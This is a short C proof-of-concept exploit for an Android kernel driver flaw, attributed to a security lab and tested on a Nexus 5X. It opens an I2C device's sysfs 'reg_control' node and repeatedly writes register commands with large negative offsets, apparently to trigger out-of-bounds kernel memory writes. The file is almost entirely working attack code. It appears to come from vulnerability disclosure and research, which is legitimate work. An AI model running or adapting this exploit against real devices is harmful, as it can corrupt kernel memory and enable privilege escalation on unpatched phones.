/* 
 * https://code.google.com/p/android/issues/detail?id=220426
 *
 * the poc was tested on nexus 5x with fingerprint : 
 * google/bullhead/bullhead:6.0.1/MTC19Z/2996059:user/release-keys
 *
 * Author : chengjia4574@gmail.com (IceSword Lab, qihoo 360)
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

#define SIZE 256
//#define TRY_TIME 1
#define TRY_TIME 250
int test_write()
{
	int fd, ret ,i;
	char buf[SIZE] = {0};
	char *path = "/sys/devices/soc.0/f9924000.i2c/i2c-2/2-0020/reg_control";
	char offset_s[32] = {0};
	int offset = 65520;

	fd = open(path, O_RDWR);
	if(fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);

	for(i = 1; i < TRY_TIME; i++) {
		offset += 1;
		sprintf(offset_s, "-%d", offset);
		sprintf(buf, "%6s %10s %10s %10s", "write", "111", offset_s, "333");
		ret = write(fd, &buf[0], SIZE);
		if(ret<0) {
			printf("write fail %s\n",strerror(errno));
		} else printf("succ write %d byte\n",ret);
	}

	close(fd);

	return 0;
}

	int
main(int argc, char *argv[])
{
	test_write();

	return 0;
}
